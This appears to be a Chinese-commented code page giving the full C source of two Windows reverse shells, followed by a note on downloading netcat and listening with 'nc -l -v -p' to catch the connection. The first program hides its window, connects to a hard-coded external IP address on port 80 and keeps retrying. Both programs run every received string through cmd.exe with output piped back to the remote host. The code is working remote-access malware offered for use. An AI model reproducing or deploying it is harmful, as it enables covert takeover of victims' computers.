#pragma comment(lib,"ws2_32.lib") #ifdef _MSC_VER #pragma comment( linker, "/subsystem:"windows" /entry:"mainCRTStartup"" ) #endif #include <winsock2.h> #include <windows.h> int main(int argc, char **argv) { char *messages = "======================== Connect successful !======================== "; WSADATA WSAData; SOCKET sock; //创建套接字 SOCKADDR_IN addr_in; char buf[1024]; //buf作为socket接收数据的缓冲区 memset(buf, 0, 1024); //清空缓冲区 WSAStartup(MAKEWORD(2, 2), &WSAData); //初始化ws2 addr_in.sin_family = AF_INET; addr_in.sin_port = htons(80); //反向连接的远端主机端口 addr_in.sin_addr.S_un.S_addr = inet_addr("59.110.167.239"); //远端IP sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); while (WSAConnect(sock, (struct sockaddr *)&addr_in, sizeof(addr_in), NULL, NULL, NULL, NULL) == SOCKET_ERROR) //连接客户主机 { Sleep(5000); //连接失败，停顿5s，再试 continue; } send(sock, messages, strlen(messages), 0); //发送success信息 char buffer[2048] = { 0 };//管道输出的数据 for (char cmdline[270];; memset(cmdline, 0, sizeof(cmdline))){ SECURITY_ATTRIBUTES sa;//创建匿名管道用于取得cmd的命令输出 HANDLE hRead, hWrite; sa.nLength = sizeof(SECURITY_ATTRIBUTES); sa.lpSecurityDescriptor = NULL; sa.bInheritHandle = TRUE; CreatePipe(&hRead, &hWrite, &sa, 0); //创建管道 STARTUPINFO si; PROCESS_INFORMATION pi; si.cb = sizeof(STARTUPINFO); GetStartupInfo(&si); //STARTUPINFO 结构 si.hStdError = hWrite; si.hStdOutput = hWrite; si.wShowWindow = SW_HIDE; //隐藏窗口 si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; GetSystemDirectory(cmdline, MAX_PATH + 1); //获得系统路径 strcat(cmdline, "//cmd.exe /c"); //路径+/cmd.exe int len = recv(sock, buf, 1024, NULL); if (len == SOCKET_ERROR) exit(0); //如果客户端断开连接，则自动退出程序 strncat(cmdline, buf, strlen(buf)); //把命令参数复制到cmdline CreateProcess(NULL, cmdline, NULL, NULL, TRUE, NULL, NULL, NULL, &si, &pi); //创建进程 CloseHandle(hWrite); for (DWORD bytesRead; ReadFile(hRead, buffer, 2048, &bytesRead, NULL); //循环读取管道中数据并发送，直到管道中没有数据为止 memset(buffer, 0, 2048)){ send(sock, buffer, strlen(buffer), 0); } } return 0; }
#include <Windows.h> #include <winsock.h> #pragma comment(lib,"ws2_32") HANDLE g_hinputPipe, g_houtputPipe; HANDLE g_hThread; DWORD g_dwThreadId; const unsigned short PORT = 4900; const char * REMOTE_ADDR = "127.0.0.1"; const unsigned int MAXSTR = 255; //收发信息 bool sendData(SOCKET sSock, char *cmdline, const char* sockData) { ZeroMemory(cmdline, MAXSTR); SECURITY_ATTRIBUTES sa; sa.nLength = sizeof(SECURITY_ATTRIBUTES); sa.lpSecurityDescriptor = NULL; sa.bInheritHandle = TRUE; while (!CreatePipe(&g_houtputPipe, &g_hinputPipe, &sa, 0)) { Sleep(1000); } Sleep(200); STARTUPINFO si; PROCESS_INFORMATION pi; GetStartupInfo(&si); si.hStdError = g_hinputPipe; si.hStdOutput = g_hinputPipe; si.wShowWindow = SW_HIDE; si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; GetSystemDirectory(cmdline, MAXSTR); strcat_s(cmdline, MAXSTR, "\cmd.exe /c "); strcat_s(cmdline, MAXSTR, sockData); while (!CreateProcess(NULL, cmdline, NULL, NULL, TRUE, NULL, NULL, NULL, &si, &pi)) { Sleep(1000); } WaitForSingleObject(pi.hProcess, 10000); return true; } //被控端管道信息回传监控 DWORD WINAPI WatchData(LPVOID lprarm) { unsigned int g_Ret = 0; DWORD dwTotalAvail = 0; DWORD realReadLen = 0; char readBuffer[4096] = " "; SOCKET sSock = (SOCKET)lprarm; while (true) { g_Ret = PeekNamedPipe(g_houtputPipe, NULL, 0, NULL, &dwTotalAvail, NULL); if (g_Ret && dwTotalAvail > 0) { Sleep(300); g_Ret = ReadFile(g_houtputPipe, readBuffer, 4096, &realReadLen, NULL); if (g_Ret && realReadLen > 0) { Sleep(200); strcat_s(readBuffer, 4096, " CMD >"); send(sSock, readBuffer, strlen(readBuffer), 0); ZeroMemory(readBuffer, 4096); } } } return 0; } //主函数 int WINAPI WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR lpCmdLine, _In_ int nShowCmd) { char sendError[30] = "[*] Send Error ! "; char cmdline[MAXSTR] = " "; char sockData[MAXSTR] = " "; int sockDataLen = 0; SOCKET sSock; sockaddr_in sockAddr; WSADATA wsd; if (WSAStartup(MAKEWORD(2, 2), &wsd)) return 0; if ((sSock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET) return 0; sockAddr.sin_addr.S_un.S_addr = inet_addr(REMOTE_ADDR); sockAddr.sin_family = AF_INET; sockAddr.sin_port = htons(PORT); while (connect(sSock, (sockaddr*)&sockAddr, sizeof(sockAddr)) == SOCKET_ERROR) { Sleep(2000); continue; } g_hThread = CreateThread(NULL, 0, WatchData, LPVOID(sSock), 0, &g_dwThreadId); while (true) { while ((sockDataLen = recv(sSock, sockData, MAXSTR, 0)) == SOCKET_ERROR) { Sleep(1000); } if (!sendData(sSock, cmdline, sockData)) { send(sSock, sendError, strlen(sendError), 0); } ZeroMemory(sockData, MAXSTR); } WaitForSingleObject(g_hThread, INFINITE); CloseHandle(g_hinputPipe); CloseHandle(g_houtputPipe); closesocket(sSock); WSACleanup(); ExitProcess(0); return 0; }
下载NC https://eternallybored.org/misc/netcat/ nc执行命令：nc命令 ： -l -v -p [端口] 等待上线